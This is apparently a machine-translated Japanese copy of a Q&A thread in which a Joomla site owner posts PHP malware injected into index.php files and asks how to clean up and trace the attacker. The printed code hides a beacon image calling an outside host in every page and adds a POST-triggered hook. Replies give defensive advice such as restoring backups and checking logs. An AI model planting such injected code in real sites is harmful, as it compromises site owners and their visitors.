web-dev-qa-db-ja.com

私のサイトをハッキングした人を見つける

重複の可能性：
私のサーバーは緊急にハッキングされました

すべてのJoomla！私の単一のサーバーでホストされているサイトがハッキングされ、次のコードが多くのディレクトリのindex.phpファイルに挿入されました。

    <?php
//{{126104ed

GLOBAL $alreadyxxx;
if($alreadyxxx != 1)
{
$alreadyxxx = 1;

$olderrxxx=error_reporting(0);

function outputxxx_callback($str)
{
  $links = '<SPAN STYLE="font-style: normal; visibility: hidden; position: absolute; left: 0px; top: 0px;"><div id="af4dae82ae67843a194c001162"><img width=0 height=0 src="http://airschk.com/countbk.gif?id=4dae82ae67843a194c001162&p=1&a=%91P%BC%BCQ%F7%20%7C6%BE%0A8%F52%9C%F5nT%82%8A%C8V%27%A1%1E%85%1B%16%DBh%F2%A3U%10%9Dh%9C%FF%B6t%0F%B2%E9%18"></div></SPAN>';
  preg_match("|</body>|si",$str,$arr);
  return str_replace($arr[0],$links.$arr[0],$str);
}

function StrToNum($Str, $Check, $Magic)
{
   $Int32Unit = 4294967296;
   $length = strlen($Str);
   for ($i = 0; $i < $length; $i++) {
       $Check *= $Magic;
       if ($Check >= $Int32Unit) {
           $Check = ($Check - $Int32Unit * (int) ($Check / $Int32Unit));
           $Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check;
       }
       $Check += ord($Str{$i});
   }
   return $Check;
}
function HashURL($String)
{
   $Check1 = StrToNum($String, 0x1505, 0x21);
   $Check2 = StrToNum($String, 0, 0x1003F);

   $Check1 >>= 2;
   $Check1 = (($Check1 >> 4) & 0x3FFFFC0 ) | ($Check1 & 0x3F);
   $Check1 = (($Check1 >> 4) & 0x3FFC00 ) | ($Check1 & 0x3FF);
   $Check1 = (($Check1 >> 4) & 0x3C000 ) | ($Check1 & 0x3FFF);

   $T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2 ) | ($Check2 & 0xF0F );
   $T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($Check2 & 0xF0F0000 );

   return ($T1 | $T2);
}

function CheckHash($Hashnum)
{
   $CheckByte = 0;
   $Flag = 0;

   $HashStr = sprintf('%u', $Hashnum) ;
   $length = strlen($HashStr);

   for ($i = $length-1; $i >= 0;  $i--) {
       $Re = $HashStr{$i};
       if (1 === ($Flag % 2)) {
           $Re += $Re;
           $Re = (int)($Re / 10) + ($Re % 10);
       }
       $CheckByte += $Re;
       $Flag ++;
   }

   $CheckByte %= 10;
   if (0 !== $CheckByte) {
       $CheckByte = 10 - $CheckByte;
       if (1 === ($Flag % 2) ) {
           if (1 === ($CheckByte % 2)) {
               $CheckByte += 9;
           }
           $CheckByte >>= 1;
       }
   }

   return '7'.$CheckByte.$HashStr;
}

function getpr($url)
{
   $ch = CheckHash(HashURL($url));
   $file = "http://toolbarqueries.google.com/search?client=navclient-auto&ch=$ch&features=Rank&q=info:$url";;
   $data = file_get_contents($file);
   $pos = strpos($data, "Rank_");
   if($pos === false){return -1;} else{
       $pr=substr($data, $pos + 9);
       $pr=trim($pr);
       $pr=str_replace("
",'',$pr);
       return $pr;
   }
}

if(isset($_POST['xxxprch']))
{
    echo getpr($_POST['xxxprch']);
    exit();
}
else
  ob_start('outputxxx_callback');

error_reporting($olderrxxx);
}

//}}861921ab

私が知っている限り、すべてのドキュメントによると、私のJoomla！サイトは安全でした。ただし、同じサーバー上のそれらすべてが同時にハッキングされました。ホストに障害がありますか？

誰かが私がこの混乱を掃除し始めるべき場所を知っていますか？私のサイトのバックアップ以外に簡単な解決策はありますか？

そして、私が持っている最大の質問は、ハッカーを彼/彼女のサイト、サーバー、または場所まで追跡するための最良の方法は何でしょうか？その見返りとして、彼らの仕事に対する私の感謝の気持ちを本当に示したいと思います。

phpsecurityhackingshared-hostingjoomla
2
Andy Smith

私の推測では、彼らはトロイの木馬であなたのサーバーのパスワードを入手したと思います。特にサーバーのパスワードをプログラム（ブラウザー、ftpクライアント、Total Commanderなど）に保存する場合は、できるだけ早くコンピューターを確認してください。ところで：Windowsを使用していると思います。

ハッカーを追跡することについては、簡単ではありません。まず、これが発生したときからのアクセスログを確認します。おそらくそこにはたくさんのftpアクティビティがあります。それらのログのIPを見てください。それらすべてが異なる場合、彼はおそらくゾンビコンピューターを使用しており、あなたが彼にたどり着く可能性はほとんどありません。それらがすべて同じである場合、あなたはもう少し幸運かもしれません。

とにかく、これは自動化された攻撃のように聞こえます。検索を実行して、（サーバーにない）他のサイトに同じコードが挿入されているかどうかを確認します。

2
Cristian

「私が知っている限り、すべてのドキュメントによると、私のJoomla！サイトは安全でした。」

その声明があなたの最初の問題です。 「joomlahacked」をグーグルで検索すると、過去1か月だけで280,000件の結果があります...

回復に関しては、既知の良好なバックアップからの復元を恥ずかしがるようなことは何も信じません。それらの編集はあなたが見つけたものだけです。他に何がそこに入れられたのか誰が知っていますか。

それらを追跡するために、これを読むことから始めたいと思うかもしれません： http://kb.siteground.com/article/Joomla_hacked.html

一言で言えば、あなたのチャンスはほぼゼロだと思います。ただし、深いポケットや政府の支援がある場合は、数パーセントポイント上昇します。

4
NotMe

その方法を支援するのに十分な詳細を私たちに提供していない、それはほぼ確実に自動化された攻撃であり、それを追跡しようとするとあなたの時間を無駄にするだけです。

これから回復する簡単な方法はありません。 軌道からの核兵器 そして既知の良好なバックアップからの復元が唯一の方法です。

1
user9517

Joomlaを最新の状態に保つようにしてください！セキュリティアップデートを常に把握し、リリースされた日にすべてのサイトにインストールしてください。

0
Alex

ここにそれについてのいくつかの説明があります：

http://sucuri.net/malware/malware-entry-mwbackdoor2

これはバックドアのようで、img srcは、バックドアが存在することを攻撃者に通知するために使用されます...

0
David Dede